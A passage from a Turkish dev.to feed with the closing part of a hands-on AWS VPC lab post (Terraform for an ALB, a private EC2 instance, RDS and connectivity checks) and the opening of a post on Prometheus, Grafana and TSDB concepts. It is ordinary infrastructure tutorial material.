&lt;li&gt;EC2 → RDS (port 5432)&lt;/li&gt;
&lt;li&gt;İnternet → EC2 ❌&lt;/li&gt;
&lt;li&gt;İnternet → RDS ❌&lt;/li&gt;
&lt;li&gt;EC2 → RDS doğrudan ❌ (sadece app-sg üzerinden)&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  ALB — Public Subnet
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight hcl"&gt;&lt;code&gt;&lt;span class="nx"&gt;resource&lt;/span&gt; &lt;span class="s2"&gt;"aws_lb"&lt;/span&gt; &lt;span class="s2"&gt;"main"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;name&lt;/span&gt;               &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"${var.environment}-alb"&lt;/span&gt;
  &lt;span class="nx"&gt;internal&lt;/span&gt;           &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;
  &lt;span class="nx"&gt;load_balancer_type&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"application"&lt;/span&gt;
  &lt;span class="nx"&gt;security_groups&lt;/span&gt;    &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;alb_sg_id&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
  &lt;span class="nx"&gt;subnets&lt;/span&gt;            &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;public_subnet_ids&lt;/span&gt;  &lt;span class="c1"&gt;# 2 AZ&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nx"&gt;resource&lt;/span&gt; &lt;span class="s2"&gt;"aws_lb_target_group"&lt;/span&gt; &lt;span class="s2"&gt;"app"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;port&lt;/span&gt;     &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;8080&lt;/span&gt;
  &lt;span class="nx"&gt;protocol&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"HTTP"&lt;/span&gt;
  &lt;span class="nx"&gt;vpc_id&lt;/span&gt;   &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;vpc_id&lt;/span&gt;

  &lt;span class="nx"&gt;health_check&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;path&lt;/span&gt;                &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"/health"&lt;/span&gt;
    &lt;span class="nx"&gt;healthy_threshold&lt;/span&gt;   &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
    &lt;span class="nx"&gt;unhealthy_threshold&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nx"&gt;resource&lt;/span&gt; &lt;span class="s2"&gt;"aws_lb_listener"&lt;/span&gt; &lt;span class="s2"&gt;"http"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;load_balancer_arn&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;aws_lb&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;main&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;arn&lt;/span&gt;
  &lt;span class="nx"&gt;port&lt;/span&gt;              &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;
  &lt;span class="nx"&gt;protocol&lt;/span&gt;          &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"HTTP"&lt;/span&gt;

  &lt;span class="nx"&gt;default_action&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;type&lt;/span&gt;             &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"forward"&lt;/span&gt;
    &lt;span class="nx"&gt;target_group_arn&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;aws_lb_target_group&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;arn&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  EC2 — Private Subnet
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight hcl"&gt;&lt;code&gt;&lt;span class="nx"&gt;resource&lt;/span&gt; &lt;span class="s2"&gt;"aws_instance"&lt;/span&gt; &lt;span class="s2"&gt;"app"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;instance_type&lt;/span&gt;          &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"t3.micro"&lt;/span&gt;
  &lt;span class="nx"&gt;subnet_id&lt;/span&gt;              &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;private_subnet_ids&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
  &lt;span class="nx"&gt;vpc_security_group_ids&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;app_sg_id&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

  &lt;span class="c1"&gt;# Public IP yok — private subnet'te&lt;/span&gt;
  &lt;span class="nx"&gt;user_data&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;-&lt;/span&gt;&lt;span class="no"&gt;USERDATA&lt;/span&gt;&lt;span class="sh"&gt;
    #!/bin/bash
    dnf install -y nginx
    cat &amp;gt; /etc/nginx/conf.d/app.conf &amp;lt;&amp;lt; 'NGINX'
    server {
      listen 8080;
      location / {
        return 200 'Hello from private subnet!\n';
      }
      location /health {
        return 200 '{"status":"ok"}';
      }
    }
    NGINX
    systemctl restart nginx
&lt;/span&gt;&lt;span class="no"&gt;  USERDATA
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;# EC2'yu ALB target group'a bağla&lt;/span&gt;
&lt;span class="nx"&gt;resource&lt;/span&gt; &lt;span class="s2"&gt;"aws_lb_target_group_attachment"&lt;/span&gt; &lt;span class="s2"&gt;"app"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;target_group_arn&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;target_group_arn&lt;/span&gt;
  &lt;span class="nx"&gt;target_id&lt;/span&gt;        &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;aws_instance&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;
  &lt;span class="nx"&gt;port&lt;/span&gt;             &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;8080&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  RDS — DB Subnet
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight hcl"&gt;&lt;code&gt;&lt;span class="nx"&gt;resource&lt;/span&gt; &lt;span class="s2"&gt;"aws_db_subnet_group"&lt;/span&gt; &lt;span class="s2"&gt;"main"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;subnet_ids&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;db_subnet_ids&lt;/span&gt;  &lt;span class="c1"&gt;# DB subnet'ler&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nx"&gt;resource&lt;/span&gt; &lt;span class="s2"&gt;"aws_db_instance"&lt;/span&gt; &lt;span class="s2"&gt;"main"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;engine&lt;/span&gt;         &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"postgres"&lt;/span&gt;
  &lt;span class="nx"&gt;engine_version&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"15"&lt;/span&gt;
  &lt;span class="nx"&gt;instance_class&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"db.t3.micro"&lt;/span&gt;

  &lt;span class="nx"&gt;db_subnet_group_name&lt;/span&gt;   &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;aws_db_subnet_group&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;main&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;
  &lt;span class="nx"&gt;vpc_security_group_ids&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;rds_sg_id&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

  &lt;span class="nx"&gt;publicly_accessible&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;  &lt;span class="c1"&gt;# internet'ten erişilemez&lt;/span&gt;
  &lt;span class="nx"&gt;skip_final_snapshot&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Doğrulama Testleri
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Test 1 — ALB üzerinden erişim:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://&amp;lt;alb-dns-name&amp;gt;
&lt;span class="c"&gt;# Hello from private subnet!&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Test 2 — EC2 private IP, public IP yok:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;terraform output app_private_ip
&lt;span class="c"&gt;# 10.0.3.111 — public IP yok&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Test 3 — RDS dışarıdan erişilemiyor:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nc &lt;span class="nt"&gt;-zv&lt;/span&gt; &amp;lt;rds-address&amp;gt; 5432 &lt;span class="nt"&gt;-w&lt;/span&gt; 5
&lt;span class="c"&gt;# Connection timed out&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Test 4 — Private EC2 NAT üzerinden dışa çıkabiliyor:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;SSM Session Manager ile EC2'ya bağlanıp &lt;code&gt;curl ifconfig.me&lt;/code&gt; yaptığında NAT Gateway'in Elastic IP'sini görüyorsun — EC2'nun kendi IP'si değil.&lt;/p&gt;




&lt;h2&gt;
  
  
  Production Best Practices
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Her AZ'de ayrı NAT Gateway:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight hcl"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Lab'da tek NAT — production'da her AZ için&lt;/span&gt;
&lt;span class="nx"&gt;resource&lt;/span&gt; &lt;span class="s2"&gt;"aws_nat_gateway"&lt;/span&gt; &lt;span class="s2"&gt;"main"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;count&lt;/span&gt;         &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;azs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="nx"&gt;subnet_id&lt;/span&gt;     &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;aws_subnet&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;public&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;count&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;index&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;
  &lt;span class="nx"&gt;allocation_id&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;aws_eip&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;nat&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;count&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;index&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Tek NAT Gateway varken o AZ düşerse tüm private subnet'lerin internet erişimi kesilir.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Bastion host yerine SSM:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Eski: Bastion host (public) → SSH → private EC2
Yeni: SSM Session Manager → private EC2
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;SSM ile SSH portu kapalı, bastion host maliyeti yok, key yönetimi yok. IAM policy ile kimin hangi instance'a bağlanabileceği kontrol ediliyor.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;VPC Flow Logs:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight hcl"&gt;&lt;code&gt;&lt;span class="nx"&gt;resource&lt;/span&gt; &lt;span class="s2"&gt;"aws_flow_log"&lt;/span&gt; &lt;span class="s2"&gt;"main"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;vpc_id&lt;/span&gt;       &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;aws_vpc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;main&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;
  &lt;span class="nx"&gt;traffic_type&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"ALL"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Güvenlik olaylarında "kim nereye bağlandı" sorusunun cevabı burada.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;RDS multi-AZ:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight hcl"&gt;&lt;code&gt;&lt;span class="nx"&gt;resource&lt;/span&gt; &lt;span class="s2"&gt;"aws_db_instance"&lt;/span&gt; &lt;span class="s2"&gt;"main"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;multi_az&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;  &lt;span class="c1"&gt;# otomatik failover&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Öğrendiklerim
&lt;/h2&gt;

&lt;p&gt;Bu lab'dan önce "public subnet internete açık, private subnet kapalı" diyordum. Şimdi şunu söyleyebiliyorum:&lt;/p&gt;

&lt;p&gt;Public ve private subnet'in tek teknik farkı route table'da — public'te &lt;code&gt;0.0.0.0/0 → IGW&lt;/code&gt; var, private'te &lt;code&gt;0.0.0.0/0 → NAT&lt;/code&gt; var, DB subnet'te hiç internet route'u yok.&lt;/p&gt;

&lt;p&gt;IGW iki yönlü, NAT tek yönlü. Private EC2 güncelleme yapmak için NAT kullanır ama dışarıdan ona ulaşılamaz. RDS DB subnet'te çünkü oradan internet rotası yok — en kritik veri en izole katmanda.&lt;/p&gt;

&lt;p&gt;Security group'larda IP aralığı değil SG referansı kullanmak önemli — ALB IP'si değişse bile app-sg kuralı bozulmaz.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Bu yazı, bir mülakattan aldığım geri bildirimi uygulamalı olarak çalışma serim.&lt;/em&gt;&lt;br&gt;
&lt;em&gt;Serinin diğer yazıları:&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;em&gt;&lt;a href="https://dev.to/tahayagizguler/terraform-terragrunt-ansible-a-hands-on-learning-journey-jed"&gt;Terraform + Terragrunt + Ansible: A Hands-On Learning Journey&lt;/a&gt;&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;&lt;a href="https://dev.to/tahayagizguler/kubernetes-probelarini-bozarak-ogrenmek-liveness-readiness-ve-startup-3meh"&gt;Kubernetes Probe'larını Kasıtlı Bozarak Öğrendim&lt;/a&gt;&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;&lt;a href="https://dev.to/tahayagizguler/container-icine-giremiyorum-ve-bu-iyi-bir-sey-distroless-imagelar-hik"&gt;Container İçine Giremiyorum — Ve Bu İyi Bir Şey: Distroless Image'lar&lt;/a&gt;&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;&lt;a href="https://dev.to/tahayagizguler/prometheus-ve-grafanayi-derinlemesine-anlamak-tsdb-promql-ve-custom-exporter-1enp"&gt;Prometheus ve Grafana'yı Derinlemesine Anlamak&lt;/a&gt;&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  &lt;em&gt;All code from this lab is available on &lt;a href="https://Github.com/tahayagizguler/aws-vpc-lab" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;. If you spot something that could be done better, I'd genuinely love to hear it in the comments.&lt;/em&gt;
&lt;/h2&gt;

</description>
      <category>aws</category>
      <category>terraform</category>
      <category>devops</category>
      <category>networking</category>
    </item>
    <item>
      <title>Prometheus ve Grafana'yı Derinlemesine Anlamak — TSDB, PromQL ve Custom Exporter</title>
      <dc:creator>Taha Yağız Güler</dc:creator>
      <pubDate>Wed, 27 May 2026 16:02:57 +0000</pubDate>
      <link>https://dev.to/tahayagizguler/prometheus-ve-grafanayi-derinlemesine-anlamak-tsdb-promql-ve-custom-exporter-1enp</link>
      <guid>https://dev.to/tahayagizguler/prometheus-ve-grafanayi-derinlemesine-anlamak-tsdb-promql-ve-custom-exporter-1enp</guid>
      <description>&lt;h2&gt;
  
  
  Neden TSDB?
&lt;/h2&gt;

&lt;p&gt;Normal bir veritabanında bir satır güncellenir — eski değer gider, yeni değer gelir. Monitoring'de bu işe yaramaz. "CPU şu an %45" bilgisi değil, "CPU son 1 saatte nasıl değişti" bilgisi lazım.&lt;/p&gt;

&lt;p&gt;TSDB — Time Series Database. Her ölçüm ayrı bir nokta olarak saklanır:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight prometheus"&gt;&lt;code&gt;&lt;span class="n"&gt;cpu_usage&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="na"&gt;instance&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"server-1"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;  &lt;span class="err"&gt;→&lt;/span&gt;  &lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="n"&gt;:00&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;45&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="n"&gt;:15&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;52&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="n"&gt;:30&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;61&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="n"&gt;:45&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Normal veritabanında "son 1 saatteki tüm CPU değerlerini getir" sorgusu tüm tabloyu tarar. TSDB'de bu zaten veri modelinin kendisi — timestamp'e göre sıralı saklıyor, range query neredeyse anlık.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;İki ek kazanım:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Sıkıştırma:&lt;/em&gt; CPU değerleri birbirine yakın — 45, 47, 44, 46. TSDB delta encoding ile bu benzer değerleri çok verimli sıkıştırıyor. Prometheus ortalama sample başına sadece 1.3 byte kullanıyor.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Retention yönetimi:&lt;/em&gt; "Son 15 günü tut, eskisini sil" TSDB'de trivial — zaman bazlı block'lar halinde saklıyor, eski block'ları sil.&lt;/p&gt;




&lt;h2&gt;
  
  
  Pull-based Mimari
&lt;/h2&gt;

&lt;p&gt;Prometheus hedeflerine giderek metric çekiyor — &lt;code&gt;/metrics&lt;/code&gt; endpoint'ini ziyaret ediyor. Push-based sistemlerde uygulama metric'lerini merkezi yere göndermek zorunda.&lt;/p&gt;

&lt;p&gt;Neden pull daha iyi?&lt;/p&gt;

&lt;p&gt;Uygulama çöktüğünde push-based sistemde son başarılı push'u aldık mı, yoksa çökmeden önce mi gönderdi — belirsiz. Pull-based'de Prometheus scrape etmeye çalışır, başarısız olur — bu durumun kendisi bir sinyal, alert tetikler.&lt;/p&gt;




&lt;h2&gt;
  
  
  Lab Ortamı
&lt;/h2&gt;

&lt;p&gt;Docker Compose ile Prometheus + Grafana + custom exporter stack'i:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;prometheus-lab/
├── docker-compose.yml
├── prometheus/
│   ├── prometheus.yml
│   └── rules.yml
├── grafana/
│   └── provisioning/
│       └── datasources/
│           └── prometheus.yml
└── custom-exporter/
    ├── exporter.py
    └── Dockerfile
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;&lt;code&gt;prometheus/prometheus.yml&lt;/code&gt;&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;global&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;scrape_interval&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;15s&lt;/span&gt;
  &lt;span class="na"&gt;evaluation_interval&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;15s&lt;/span&gt;

&lt;span class="na"&gt;rule_files&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;rules.yml"&lt;/span&gt;

&lt;span class="na"&gt;scrape_configs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;job_name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;prometheus'&lt;/span&gt;
    &lt;span class="na"&gt;static_configs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;targets&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;localhost:9090'&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;

  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;job_name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;custom-exporter'&lt;/span&gt;
    &lt;span class="na"&gt;static_configs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;targets&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;custom-exporter:8000'&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;&lt;code&gt;docker-compose.yml&lt;/code&gt;&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;version&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;3.8'&lt;/span&gt;

&lt;span class="na"&gt;services&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;prometheus&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;image&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;prom/prometheus:latest&lt;/span&gt;
    &lt;span class="na"&gt;ports&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;9090:9090"&lt;/span&gt;
    &lt;span class="na"&gt;volumes&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;./prometheus:/etc/prometheus&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;prometheus_data:/prometheus&lt;/span&gt;
    &lt;span class="na"&gt;command&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
